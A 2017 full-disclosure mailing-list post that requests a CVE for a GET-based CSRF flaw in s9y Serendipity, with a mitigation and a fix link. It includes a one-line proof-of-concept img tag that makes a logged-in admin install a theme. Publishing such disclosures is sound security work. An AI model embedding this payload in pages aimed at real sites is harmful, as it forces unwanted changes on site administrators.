full-disclosure - [FD] CVE Request:CSRF in Serendipity allows attacker installs any themes

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Message-ID: <PS1PR04MB1001657799C63D9A531379B1DF0E0@PS1PR04MB1001.apcprd04.prod.outlook.com>
Date: Sun, 9 Apr 2017 10:17:46 +0000
From: Wester 95 <evilzyzeng@...look.com>
To: "fulldisclosure@...lists.org" <fulldisclosure@...lists.org>
Subject: [FD] CVE Request:CSRF in Serendipity allows attacker installs any
	themes

Hi team,

I would like to request one CVE id, thank you!

Details

======

Software: s9y Serendipity

Version: <2.0.5

Homepage: https://docs.s9y.org/

=======

Description

================

Get type CSRF in Serendipity allows attacker installs any themes, no token here.

POC:

========

include this in the page ,then attack will occur:

<img src="http://127.0.0.1/serendipity/serendipity_admin.php?serendipity%5BadminModule%5D=templates&serendipity%5BadminAction%5D=install&serendipity%5Btheme%5D=bartleby&serendipity%5Bspartacus_fetch%5D=bartleby”>

Mitigations

=======

update to Serendipity v2.1.x

========

FIX:

==========

https://github.com/s9y/Serendipity/issues/452

Best regards,

Zhiyang Zeng of Tencent security platform department

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